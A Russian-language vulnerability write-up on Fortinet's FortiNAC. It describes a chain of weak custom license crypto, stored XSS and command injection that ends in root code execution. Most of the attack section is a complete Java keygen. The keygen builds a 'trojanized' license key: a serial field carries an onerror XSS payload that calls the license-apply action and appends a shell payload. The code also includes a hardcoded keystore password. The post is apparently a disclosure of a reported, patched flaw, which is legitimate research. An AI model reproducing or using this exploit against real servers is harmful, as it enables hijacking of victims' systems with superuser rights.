В этом исследовании я изучил приложение FortiNAC — популярную в мире кровавого энтерпрайза систему контроля сетевого доступа (Network Access Control, NAC) от известного разработчика решений в информационной безопасности. Основная задача подобных продуктов — обнаруживать и профилировать любые устройства, которые подключаются к корпоративной инфраструктуре.
Мне удалось найти следующую цепочку дефектов и уязвимостей: облегчающая ревёрсинг дебаговая информация в скомпилированных классах Java, слабая криптография, хранимая XSS и инъекция команд, что вылилось в написание генератора лицензионных ключей, которые после активации выполняют произвольный код от имени суперпользователя на сервере уязвимого приложения.
Исследование и эксплуатация
Началось всё с декомпиляции Java-классов приложения, что позволило получить фактически исходный код (разве что без комментариев), в том числе имена локальных переменных, благодаря любезно оставленной при компиляции отладочной информации. Код, написанный на Java Server Pages, декомпиляции, разумеется, не требовал.
Я проанализировал механизм проверки лицензионных ключей и нашел легаси‑функцию. Она проверяет ключи в старом формате, основанном на уязвимой к реверсингу самописной симметричной криптографии.
Заодно удалось найти возможность инъекции команд через текст ключа, а также ознакомиться с комментариями разработчиков про то, как им приходится подстраиваться под бесправность системной учётной записи tomcat (которая, впрочем, вполне себе может исполнять sudo):
Серийный номер задается произвольной строкой внутри ключа, а это открывает возможность для эксплуатации хранимой XSS на сайте приложения.
Получился вот такой генератор лицензионных ключей с полезной нагрузкой:
import com.bsc.license.LicenseDecoder;
import com.bsc.license.FortiNACLicense;
import com.bsc.license.FortiNACType;
import com.bsc.util.EncodeDecode;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import java.io.FileWriter;
public class inject {
static String pack(String s) {
int l = s.length();
return String.valueOf(String.valueOf(l).length()) + String.valueOf(l) + s;
}
static String key(FortiNACLicense l, String html) {
return EncodeDecode.encodeString(
pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) +
pack(String.valueOf(l.getConcurrentClientCount())) +
pack("java.util.ArrayList") + pack("") + // Plugins
pack(l.getEth0MAC().toString()) +
pack(l.getType().getFullName()) +
pack("") + // Vendor
pack("1.8") + // Version
pack("java.util.ArrayList") + pack("") + // Options
pack(l.getSystemUUID().toString()) +
pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways
pack(l.getSKU()) +
pack(l.getModelName()) +
pack("false") + // Expired
pack("1") + // rtrCount
pack(l.getName().toString()) +
pack(l.getSerial().toString() + html) +
pack(String.valueOf(l.getGeneratedDate().toEpochMilli()))
);
}
public static void main(String[] args) throws IOException {
String payload = new String(Files.readAllBytes(Paths.get(".", "payload.sh")));
System.setProperty("javax.net.ssl.keyStorePassword", "^8Bradford%23");
LicenseDecoder ld = new LicenseDecoder();
FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths.get(".", "input.lic")))).replaceAll("(\\r|\\n)", "")); System.out.println(l);
FileWriter output = new FileWriter("output.lic");
output.write(
key(
l,
"<img src='nowhere' onerror="var IP=$('licenseServerCombo').value.split(/ -- /)[0];" +
"CommonUtils.dataRequest('LicenseActions.jsp',{},
{action:'ajaxApplyLicense',deviceProxy:IP,deviceIP:IP,thisIP:'0'+IP,newLicense:'" +
key(l, "") + ";" + payload + "'});"/>"
)
);
output.close();
}
}
Забавно, что легаси-формат ключей очень лаконичен по сравнению с современным, что позволяет заразить ключ почти 8-килобайтной малварью без увеличения его длины!
Fortinet зарегистрировали и исправили (честно говоря, не проверял) уязвимость (сайт не открывается с российского IP-адреса). Оценку критичности в 5.9 баллов можно объяснить только введением CVSS-потолка для Русских Хакеров™:
Также данный квест занял 4-ое место в номинации Bypass первой в России премии для специалистов по тестированию на проникновение Pentest Award.
Выводы
После ухода Fortinet из России, внешний злоумышленник мог воспользоваться тем, что российские компании нуждаются в продлении лицензии на FortiNAC. Разместив в интернете кейгены, которые создавали бы «троянизированные» лицензионные ключи, он захватил бы серверы жертв.
Используйте только официальные доверенные кейгены с открытым исходным кодом программные продукты, разработанные строго в рамках лучших практик DevSecOps!